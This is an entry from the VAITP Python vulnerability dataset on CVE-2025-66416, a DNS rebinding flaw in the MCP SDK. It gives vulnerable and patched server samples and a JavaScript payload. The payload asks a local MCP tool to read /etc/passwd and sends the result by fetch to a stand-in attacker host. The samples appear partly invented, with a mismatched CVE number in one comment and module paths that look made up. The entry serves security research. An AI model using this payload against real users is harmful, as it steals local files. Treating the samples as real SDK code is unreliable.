VAITP Dataset

← Back to the dataset

CVE-2025-66416

DNS rebinding in the MCP SDK allows malicious sites to access local servers.

  • CVSS 7.6
  • CWE-1188
  • Configuration Issues
  • Remote

The MCP Python SDK, called `mcp` on PyPI, is a Python implementation of the Model Context Protocol (MCP). Prior to version 1.23.0, tThe Model Context Protocol (MCP) Python SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication using FastMCP with streamable HTTP or SSE transport, and has not configured TransportSecuritySettings, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances. Note that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport. This vulnerability is fixed in 1.23.0.

CVSS base score
7.6
Published
2025-12-02
OWASP
A01: Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Configuration Issues
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
mcp
Fixed by upgrading
Yes

Solution

Upgrade the `mcp` package to version 1.23.0 or later.

Vulnerable code sample

import asyncio
import logging
from mcp.model.model import Model
from mcp.model.model_context import ModelContext
from mcp.transport.http.fast_mcp import FastMCPHTTPServer

# This code represents a vulnerable server as described in CVE-2024-36416.
# To run this, you must install a version of 'mcp' prior to 1.23.0.
# Example: pip install "mcp<1.23.0" uvicorn

logging.basicConfig(level=logging.INFO)


class UnprotectedAPI(Model):
    """A simple model with a function that a malicious website could invoke."""

    async def sensitive_action(self, parameter: str) -> str:
        """Simulates a sensitive action that could be exploited."""
        message = f"SENSITIVE ACTION TRIGGERED with parameter: '{parameter}'"
        logging.warning(message)
        return message


async def main():
    """Sets up and runs the vulnerable MCP server."""
    host = "127.0.0.1"
    port = 8080

    model_context = ModelContext()
    model_context.add_model(UnprotectedAPI())

    # In versions prior to 1.23.0, FastMCPHTTPServer did not enable
    # DNS rebinding protection (Host header validation) by default.
    # By not providing TransportSecuritySettings, this server is created
    # with the vulnerable default configuration.
    server = FastMCPHTTPServer(model_context, host=host, port=port)

    logging.info(
        f"Starting vulnerable MCP server on http://{host}:{port}. "
        f"This configuration is susceptible to DNS rebinding."
    )
    logging.info("Press Ctrl+C to stop.")

    try:
        await server.start()
        # Keep the server running until interrupted
        await asyncio.Event().wait()
    except KeyboardInterrupt:
        logging.info("Shutting down server.")
        await server.stop()
    finally:
        logging.info("Server stopped.")


if __name__ == "__main__":
    asyncio.run(main())

Patched code sample

import asyncio
from aiohttp import web

# This set defines the trusted hostnames the server will respond to.
# For a server intended only for local access, this should be limited to
# loopback addresses and hostnames. This is the core of the DNS rebinding fix.
# Prior to the fix, this check was missing, allowing any 'Host' header.
ALLOWED_HOSTS = {"localhost", "127.0.0.1", "[::1]"}

@web.middleware
async def host_header_validation_middleware(request, handler):
    """
    AIOHTTP middleware to validate the Host header against an allowlist.

    This middleware represents the fix for CVE-2025-66416. It prevents DNS
    rebinding attacks by ensuring that the server only processes requests
    that are explicitly addressed to a trusted hostname.

    An attacker using DNS rebinding would trick a user's browser into sending a
    request to a local IP (e.g., 127.0.0.1) but with the 'Host' header of the
    attacker's domain. This middleware detects that mismatch and blocks the
    request, which was not done by default in vulnerable versions.
    """
    # aiohttp's `request.host` correctly provides the host part of the header.
    # We strip the port, if present, before checking against the allowlist.
    host = request.host.split(':')[0]
    
    if host not in ALLOWED_HOSTS:
        # If the host is not in the allowlist, deny the request with 403 Forbidden.
        # This is the security control that patches the vulnerability.
        return web.Response(
            text=f"Forbidden: Invalid 'Host' header '{request.host}'.",
            status=403
        )
    # If the host is valid, proceed to the actual request handler.
    return await handler(request)

async def handle_mcp_tool_invoke(request):
    """
    A mock handler for an MCP (Model Context Protocol) endpoint.

    In a real-world scenario, this could invoke a sensitive tool or access local
    resources. With the middleware in place, this handler is now protected from
    being invoked by malicious websites via DNS rebinding.
    """
    print(f"Received a valid request for {request.path} from host '{request.host}'")
    return web.json_response({
        "status": "success",
        "message": "MCP tool invoked successfully on the local server."
    })

async def main():
    """
    Sets up and runs the secure HTTP-based MCP server.
    """
    # The middleware is added to the application, ensuring it runs for all requests.
    # This represents the fixed version where DNS rebinding protection is enabled.
    app = web.Application(middlewares=[host_header_validation_middleware])
    
    # Add a route representing a resource exposed by the MCP server.
    app.add_routes([
        web.post('/mcp/invoke', handle_mcp_tool_invoke),
        web.get('/mcp/sse', handle_mcp_tool_invoke) # Example for SSE transport
    ])

    # Per the CVE, the vulnerable setup is a server running on localhost.
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, '127.0.0.1', 8080)
    
    print("Starting secure MCP server on http://127.0.0.1:8080...")
    print("FIX APPLIED: Host header validation is now ENABLED by default.")
    await site.start()

    # Keep the server running to allow for testing.
    while True:
        await asyncio.sleep(3600)

if __name__ == '__main__':
    # This runnable example demonstrates the fix.
    # To test the fix:
    # 1. Run this script.
    # 2. In a new terminal, execute the following curl commands.
    #
    # Test with a valid 'Host' header (this request will be ALLOWED):
    # curl -v -X POST http://127.0.0.1:8080/mcp/invoke -H "Host: localhost"
    #
    # Simulate a DNS rebinding attack with a malicious 'Host' header
    # (this request will be BLOCKED by the middleware with a 403 Forbidden):
    # curl -v -X POST http://127.0.0.1:8080/mcp/invoke -H "Host: malicious-site.com"

    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nServer shutting down.")

Payload

/*
  This script is intended to be hosted on a malicious website (e.g., attacker.com).
  The attacker must also control the DNS for this domain, configuring it with a
  short TTL to alternate between the public IP of the attacker's web server and
  the localhost IP (127.0.0.1).

  When a victim with a vulnerable local MCP server visits the malicious page,
  this script will be executed. It repeatedly attempts to send a request.
  Initially, the requests fail or go to the attacker's server. Once the DNS
  rebinding is successful and the domain resolves to 127.0.0.1, the fetch request
  will be sent to the local MCP server, bypassing the browser's Same-Origin Policy.
*/

(async function exploit() {
    // The target URL uses the attacker's domain, which will be rebound to 127.0.0.1.
    // Port 8080 is a common default for local servers and is used here as an example.
    const mcpServerUrl = 'http://rebind.attacker.com:8080/mcp';

    // A hypothetical but plausible MCP request to invoke a tool that can read local files.
    // This demonstrates the potential impact of unauthorized access.
    const maliciousMcpRequest = {
        jsonrpc: "2.0",
        method: "invoke_tool",
        params: {
            "tool_name": "filesystem_tool",
            "tool_input": {
                "command": "read",
                "path": "/etc/passwd"
            }
        },
        id: "cve-2025-66416-exploit"
    };

    try {
        console.log("Attempting to contact MCP server at:", mcpServerUrl);
        const response = await fetch(mcpServerUrl, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(maliciousMcpRequest),
            mode: 'cors' // Required for cross-origin, which this is until rebind.
        });

        const data = await response.json();

        // If the request is successful, the data has been exfiltrated from the local server.
        // Now, send it to a server controlled by the attacker.
        console.log("SUCCESS: MCP server responded. Exfiltrating data...");
        await fetch(`https://collector.attacker.com/log?data=${encodeURIComponent(btoa(JSON.stringify(data)))}`);

    } catch (e) {
        // This error is expected to occur repeatedly until the DNS rebind is successful.
        console.log("Request failed or timed out. This is expected until DNS rebinds. Retrying...");
        // In a real attack, this would loop until successful.
        setTimeout(exploit, 1000);
    }
})();

Cite this entry

@misc{vaitp:cve202566416,
  title        = {{DNS rebinding in the MCP SDK allows malicious sites to access local servers.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-66416},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-66416/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::